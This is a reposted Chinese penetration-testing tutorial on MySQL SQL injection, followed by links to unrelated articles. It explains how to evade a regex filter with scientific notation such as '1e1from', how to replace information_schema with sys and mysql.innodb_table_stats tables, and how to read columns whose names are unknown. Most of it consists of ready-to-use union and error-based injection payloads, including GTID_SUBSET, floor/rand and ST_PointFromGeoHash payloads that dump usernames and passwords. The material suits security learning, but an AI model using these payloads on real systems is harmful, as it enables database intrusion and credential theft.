SQL注入绕过正则及无列名注入

news2024/11/15 15:46:50

渗透测试

  • 一、select\b[\s\S]*\bfrom正则
  • 二、科学计数法绕过
  • 三、过滤information
  • 四、无列名注入
    • 1、利用 join-using 注列名。
    • 2、无列名查询
  • 五、报错注入7大常用函数
    • 1.ST_LatFromGeoHash()(mysql>=5.7.x)
      • payload
    • 2.ST_LongFromGeoHash(mysql>=5.7.x)
      • payload
    • 3.GTID (MySQL >= 5.6.X - 显错<=200)
      • 3.1 0x01 GTID
      • 3.2 GTID_SUBSET() 和 GTID_SUBTRACT()函数
      • 3.3 0X02 函数详解
      • 3.4 0x03 注入过程( payload )
    • 4.floor(8.x>mysql>5.0)
      • 4.1 获取数据库版本信息
      • 4.2 获取当前数据库
      • 4.3 获取表数据
      • 4.4 获取users表里的段名
    • 5.ST_Pointfromgeohash (mysql>=5.7)
      • 5.1 获取数据库版本信息
      • 5.2 获取表数据
      • 5.3 获取users表里的段名
      • 5.4 获取字段里面的数据
    • 6 updatexml
    • 7 extractvalue

一、select\b[\s\S]*\bfrom正则

在这里插入图片描述
如果我们继续按照上次的思路去注入是肯定不行的:
在这里插入图片描述
下面我们去这个网站:https://regex101.com/
我们现在来看下这条语句:

select\b[\s\S]*\bfrom

在这里插入图片描述
这里我们可以看到,前面以及后面的\b时匹配单词的边界,\s\S是匹配**的所有字符,所以就把下面我们这条语句匹配上了。
在这里插入图片描述
所以说我们下面必须绕过这个正则表达式才可以查,下面我们可以看下匹配过程,第一步先匹配s,然后到select结束到小圆点我们可以看到\b匹配到了,然后到\s\S一下全部匹配上了,因为它匹配的是所有,继续匹配那么就得回溯了,往回走,继续匹配到小圆点也就是\b,然后继续匹配,到from之前开始正向匹配就把from匹配到了。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
所以说现在假如说我们可以让他不是from,问题在于没有函数可以使用,比如下面这几个都是报错的:
在这里插入图片描述
现在我们想的是既要绕过正则,又要把数据查出来,现在我们的办法是如果有个字符可以加在from前面,而且加不加它的效果一样,不影响我们进行查询就行。

二、科学计数法绕过

其实我们这里可以使用科学计数法:
我们这里首先正常查:
在这里插入图片描述
我们在from前面放1e1前面:
在这里插入图片描述
很明显这样是不行的,下面我们与之前我们学到的利用下,并在1e1之前加个,我们再来看下:

select group_concat(username,0x3a,password),1e1from users;

在这里插入图片描述
这里我们可以看到,很明显,查出数据了;这是为什么呢?
在这里插入图片描述
不加又不行,这里我们来看输出:
在这里插入图片描述
我们可以看到后面有一列1e1,然后下面是10,这个是对的,本来就是10,所以我们使用这样去查,就相当于给users多出来了一列,就是1e1,正常连肯定不行,但是我们是科学技术法:
在这里插入图片描述
也就是说我们通过这样的方式去查,也就是给users多出来了一列,这一列的值是10。所以这时我们发现如何绕过了,下面我们就谈论如何去查。
这里我们通过这三种去尝试:

 select * 1e1from users;
select username,1e1from users;
select username,password,1e1from users;

在这里插入图片描述
可以看到第一种星号肯定是不行的,所以我们查到肯定是后面加了一列,这里我们就得考虑怎么去写:
初步我们肯定是想直接union然后输入也就是下面:

?id=-1' union select 1,concat(username,0x3a,password),3,4,1e1from users--+

在这里插入图片描述
这是因为列数不对,前面是4列,后面是3列,所以我们需要改下列数:

?id=-1' union select 1,concat(username,0x3a,password),1e1from users--+

在这里插入图片描述
这样,我们就完成了绕过并查到。
这里绕过我们必须熟悉正则表达式以及科学计数法绕过。

三、过滤information

在这里插入图片描述
这个一限制,我们的很多表就不能用了,这又该怎么办,如果我们使用科学计数法绕过肯定是不行的,因为information肯定是必须的使用的。
上面我们使用科学计数法绕过,那是因为我们没有查information库而直接知道那个表查的。所以我们必须找到一个库来取代information,那么我们就绕过了。

mysql 中的 information_schema 这个库 就像时MYSQL的信息数据库,他保存着mysql 服务器所维护的所有其他的数据库信息, 包括了 库名,表名,列名。在注入时,information_schema库的作用就是获取 table_schema table_name, column_name。

查询表的统计信息,其中还包括Innodb缓冲池统计信息,默认情况下按照增删改查操作的总表I/O延迟时间(执行时间)降序排序

sys.x$schema_table_statistics_with_buffer
sys.x$schema_table_statistics
sys.x$ps_schema_table_statistics_io

但是 sys.schema_auto_increment_columns 这个库有点局限 需要root 才能访问。

类似的,可以利用的表还有 :

mysql.innodb_table_statsmysql.innodb_table_index同样存放有库名表名

总结一下:

sys.schema_auto_increment_columns 
sys.schema_table_statistics_with_buffer
mysql.innodb_table_stats
mysql.innodb_table_index
均可代替 information_schema

我们下面来看下这个表:

sys.x$schema_table_statistics_with_buffer

在这里插入图片描述
我们可以看到这里面有很多字段,这里面有数据库名称、表名等等。
以及下面这个表:

sys.x$schema_table_statistics

在这里插入图片描述
这里我们也是可以看到数据库以及表名。
在这里插入图片描述
下面我们来看这个sys.x$ps_schema_table_statistics_io表:
在这里插入图片描述
但是上面几个表必须要root,一般肯定是没有root的,所以,sys的表一般都用不了,这里我们经常用的表是下面两个:

mysql.innodb_table_stats
mysql.innodb_table_index

所以,这里我们可以这样注入:

?id=-1' union select 1,concat(table_name),3,4 from mysql.innodb_table_stats--+

在这里插入图片描述
在这里插入图片描述

这个有一个缺陷,就是我们只能拿到表名,这个表里面没有列名,只有数据库以及表名,我们肯定是必须要知道列名才能注入,下面就涉及到了无列名注入。

四、无列名注入

1、利用 join-using 注列名。

通过系统关键字 join 可建立两表之间的内连接,通过对想要查询列名所在的表与其自身

爆表名
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+

爆字段名
获取第一列的字段名及后面每一列字段名
?id=-1' union select * from (select * from users as a join users as b)as c--+
?id=-1' union select * from (select * from users as a join users b using(id,username))c--+
?id=-1' union select * from (select * from users as a join users b using(id,username,password))c--+
数据库中as作用是起别名,as是可以省略的,为了增加可读性,建议不省略。

在这里插入图片描述
这里我们可以看到已经显示了一个列名,下面我们来一起看下这句话:

?id=-1' union select * from (select * from users as a join users as b)as c--+
select * from(select * from users as a join users)

首先我们可以看到它使用了联合查询以及子查询,子查询使用了连接,连接了它自己,两张相同的结果赋值给c,但是连接两张相同的表会导致字段重复,所以就可以帮助我们显示在屏幕上。所以我们此时把id拿出来。

?id=-1' union select * from (select * from users as a join users as b using (id))as c--+

在这里插入图片描述
我们这里以id去连接,可以看到显示username重复,然后我们以id,username去连接:

?id=-1' union select * from (select * from users as a join users as b using (id,username))as c--+

在这里插入图片描述
这里我们就可以看到显示password重复,我们这下以id,username,password去连接:

?id=-1' union select * from (select * from users as a join users as b using (id,username,password))as c--+

在这里插入图片描述
好,这里我们就可以知道三个字段取出来了,id,username,password取出来了,列已经取出来了,我们直接正常查:

?id=-1' union select 1,concat(username,0x3a,password),3 from  users--+

在这里插入图片描述
总结,使用mysql.innodb_table_stats mysql.innodb_table_index只能查出数据库名,表名,查不出列名,下面我们去查列名,使用连接的特性,然后进行一个一个取列名,找出所有的列名,最后我们直接进行查询。
当然,实际上有一种方法,原理在于select 1,2,3,4,5 union select * from users;这里我们就不用知道列名。

2、无列名查询

无列名注入关键就是要猜测表里有多少个列,要一一对应上,上面例子是有5个列
1,2,3,4,5 的作用就是对列起别名,替换为后面无列名注入做准备。

接着就可以使用数字来对应列进行查询,如3对应了表里面的password。

select `3` from (select 1,2,3,4,5 union select * from users)as a;
?id=-1' union select `3` from (select 1,2,3 union select * from users)as a;

在这里插入图片描述

select * from users

就相当于select pass from (select 1,2,3,4,5 union select * from users)as a;
当然,这里用户名在第二行也一样的:

select `2` from (select 1,2,3 union select * from users)as a;

这个语句就是先进行联合查询,然后给查询结果存储在别名为a的表里面。
在这里插入图片描述
在这里插入图片描述

SQL 中反引号是可以代表数据库名和列名的
(select 1,2,3,4,5 union select * from users)as a 把括号里的查询数据重命名一张新的表 a,在从中查询。
当反引号被禁用时,就可以使用起别名的方法来代替

select b from (select 1,2, 3 as b ,4,5 union select * from users)as a;

这里我们只有三列,所以:

select b from (select 1,2, 3 as b union select * from users)as a;

在这里插入图片描述
在注入时同时查询多个列

select group_concat(b,c) from (select 1,2, 3 as b , 4 as c ,5 union select * from users)as a;

绕过空格::直接注释
在这里插入图片描述
过滤and: 使用&&绕过
过滤#: 使用闭合’1’='1

五、报错注入7大常用函数

1.ST_LatFromGeoHash()(mysql>=5.7.x)

payload

and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+

2.ST_LongFromGeoHash(mysql>=5.7.x)

payload

#同 8 ,都使用了嵌套查询

and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+

3.GTID (MySQL >= 5.6.X - 显错<=200)

3.1 0x01 GTID

GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的

3.2 GTID_SUBSET() 和 GTID_SUBTRACT()函数

3.3 0X02 函数详解

GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错。

GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)

3.4 0x03 注入过程( payload )

GTID_SUBSET函数
') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
GTID_SUBTRACT
') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

函数都是那样,只是适用的版本不同

4.floor(8.x>mysql>5.0)

4.1 获取数据库版本信息

')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

4.2 获取当前数据库

')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

4.3 获取表数据

')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

4.4 获取users表里的段名

')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

5.ST_Pointfromgeohash (mysql>=5.7)

5.1 获取数据库版本信息

')or ST_PointFromGeoHash(version(),1)--+

5.2 获取表数据

')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+

5.3 获取users表里的段名

')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+

5.4 获取字段里面的数据

')or  ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+

6 updatexml

updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数

7 extractvalue

extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1324744.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

3 - Electron app BrowserWindow对象-关于窗口

优雅的打开应用~ 当加载缓慢&#xff0c;打开应用的一瞬间会出现白屏&#xff0c;以下方法可以解决 const mainWindow new BrowserWindow({ show: false }) mainWindow.once(ready-to-show, () > {mainWindow.show() }) 设置背景颜色 const win new BrowserWindow({ b…

OpenHarmony应用开发环境搭建指南

OpenHarmony的应用开发主要是基于Deveco Studio&#xff08;目前只支持Windows及Mac平台&#xff09;搭配相应的SDK进行&#xff0c;现对开发环境的搭建进行说明。 1:Deveco下载安装 下载对应平台的安装包即可。接下来以Windows平台为例&#xff0c;进行开发环境的搭建。 下载…

C#文件操作(一)

一、前言 学习心得&#xff1a;C# 入门经典第8版书中的第20章《文件》 二、操作文件的相关类 在C#应用程序中Syste.IO名称空间包含用于在文件中读写数据的类。在此我列举一下File、Directory、Path、FileInfo、DirectoryInfo、FileSystemInfo、FileSystemWatcher。其中在Syste…

pnpm :无法加载文件 D:\nodejs\node_global\pnpm.ps1,因为在此系统上禁止运行脚本

目录 一、问题描述 二、原因分析 三、解决问题 一、问题描述 pnpm : 无法加载文件 D:\learningsoftware\nodejs\node_global\pnpm.ps1&#xff0c;因为在此系统上禁止运行脚本。有关详细信息&#xff0c;请参阅 https:/go.microsoft.com/fwlink/?LinkID1351 70 中的 a…

文件包含 [SWPUCTF 2021 新生赛]include

打开题目 要求我们传入一个file进去&#xff0c;那我们get传入 /?file1 得到源码&#xff0c;并且提示我们flag在flag,php下 在源代码中&#xff0c;我们看见了allow_url_include函数&#xff0c;我们知道这涉及到文件包含。 一般默认allow_url_fopen是on的&#xff0c;那在…

线性回归中的似然函数、最大似然估计、最小二乘法怎么来的(让你彻底懂原理)收官之篇

图1 图2 图3 图4 问1&#xff1a;为什么要引入似然函数&#xff1f; 在线性回归中引入似然函数是为了通过概率统计的方法对模型参数进行估计。简单来说&#xff0c;我们希望找到一组参数&#xff0c;使得我们观测到的数据在给定这组参数的情况下最有可能发生。 问:1&#xf…

0155 - Java 数组

1 数组介绍 数组可以存放多个同一类型的数据。数组也是一种数据类型&#xff0c;是引用类型。 即&#xff1a;数(数据)组(一组)就是一组数据 2 数组的使用 2.1 使用方式一 2.2 使用方式二 3 数组使用注意事项和细节 数组是多个相同类型数据的组合&#xff0c;实现对这些数据…

Android Canvas状态save与restore,Kotlin

Android Canvas状态save与restore&#xff0c;Kotlin private fun f1() {val bitmap BitmapFactory.decodeResource(resources, R.mipmap.pic).copy(Bitmap.Config.ARGB_8888, true)val canvas Canvas(bitmap)val paint Paint(Paint.ANTI_ALIAS_FLAG)paint.color Color.RED…

信息收集 - 网站架构

网站架构组成 通常,一个典型的网站架构包括以下组件: 动态脚本语言:动态脚本语言用于处理网站的逻辑和动态内容生成。常见的动态脚本语言包括PHP、Python、Ruby和Node.js等。这些脚本语言可以根据用户请求生成动态的网页内容。 数据库:数据库用于存储网站的数据,包括用户…

网易面试:亿级用户,如何做微服务底层架构?

尼恩说在前面 在40岁老架构师 尼恩的读者交流群(50)中&#xff0c;最近有小伙伴拿到了一线互联网企业网易、美团、字节、如阿里、滴滴、极兔、有赞、希音、百度、美团的面试资格&#xff0c;遇到很多很重要的面试题&#xff1a; 微服务改造&#xff0c;你是怎么做的&#xff1…

TransXNet实战:使用 TransXNet实现图像分类任务(二)

文章目录 训练部分导入项目使用的库设置随机因子设置全局参数图像预处理与增强读取数据设置Loss设置模型设置优化器和学习率调整策略设置混合精度&#xff0c;DP多卡&#xff0c;EMA定义训练和验证函数训练函数验证函数调用训练和验证方法 运行以及结果查看测试完整的代码 在上…

路由表route

目录 Windows维护路由表&#xff0c;利用route命令&#xff0c;VPN完美异地组网什么是多网络环境这里我做个情景演示重置ipv4网络再次确认一下网络背景网关是什么多网络规划思路最后拓展内容实测一下网关切换选项网关的网关命令整理 Windows维护路由表&#xff0c;利用route命令…

补题与周总结:leetcode第 376 场周赛

文章目录 复盘与一周总结2967. 使数组成为等数数组的最小代价&#xff08;中位数贪心 回文数判断&#xff09;2968. 执行操作使频率分数最大&#xff08;中位数贪心 前缀和 滑窗&#xff09; 复盘与一周总结 wa穿了第3题&#xff0c;赛时其实想到了思路&#xff1a;中位数贪心…

中央空调冷却塔循环水全自动加药装置PH电导率设备工作原理动画

一&#xff1a;全自动加药装置【概述】 随着在给水、排水处理过程中&#xff0c;常常投加各类化学药剂作为阻垢、杀菌灭藻、混凝、絮凝用&#xff0c;以达到净化水的目的。这些药剂有固体颗粒、液体&#xff0c;在投加过程中必须溶解、稀释及按配比定量投加方能取得最佳效果&am…

GZ015 机器人系统集成应用技术样题6-学生赛

2023年全国职业院校技能大赛 高职组“机器人系统集成应用技术”赛项 竞赛任务书&#xff08;学生赛&#xff09; 样题6 选手须知&#xff1a; 本任务书共 25页&#xff0c;如出现任务书缺页、字迹不清等问题&#xff0c;请及时向裁判示意&#xff0c;并进行任务书的更换。参赛队…

DC-8靶场

目录 DC-8靶场链接&#xff1a; 首先进行主机发现&#xff1a; sqlmap得到账号密码&#xff1a; 反弹shell&#xff1a; exim4提权&#xff1a; Flag&#xff1a; DC-8靶场链接&#xff1a; https://www.five86.com/downloads/DC-8.zip 下载后解压会有一个DC-8.ova文件…

西门子S71200系列PLC通过PROFINET连接多功能电表

西门子S71200连接多功能电表 1、需求描述&#xff1a; 通过西门子S7-1200系列PLC&#xff0c;连接多功能电表&#xff0c;通过Modbus协议读写电表的数据。 2、方案描述&#xff1a; 桥接器的网口连接西门子S7-1200系列PLC的网口&#xff0c;串口连接到电表的485通讯口&#x…

反序列化 [SWPUCTF 2021 新生赛]ez_unserialize

打开题目 查看源代码 得到提示&#xff0c;那我们用御剑扫描一下看看 我们知道有个robots.txt&#xff0c;访问一下得到 那我们便访问一下 cl45s.php看看 得到网站源代码 <?phperror_reporting(0); show_source("cl45s.php");class wllm{public $admin;public …

Mysql的逻辑架构

一、Server层组件 1、连接器 连接器的作用是建立连接&#xff0c;管理权限&#xff0c;维持和管理连接 2、查询缓存 查询缓存的作用是以sql为key去查询缓存&#xff0c;如果缓存存在则直接返回结果 3、解析器 解析器的作用是对sql语句进行语法分析&#xff0c;和词法分析…

《深入理解计算机系统》学习笔记 - 第六课 - 机器级别的程序二

Lecture 06 Machine Level Programming II Control 机器级别程序控制二 文章目录 Lecture 06 Machine Level Programming II Control 机器级别程序控制二处理器的状态条件码&#xff08;隐式设置&#xff09;通过算术运算隐式设置条件码(将其视为副作用)通过cmp比较命令显示的设…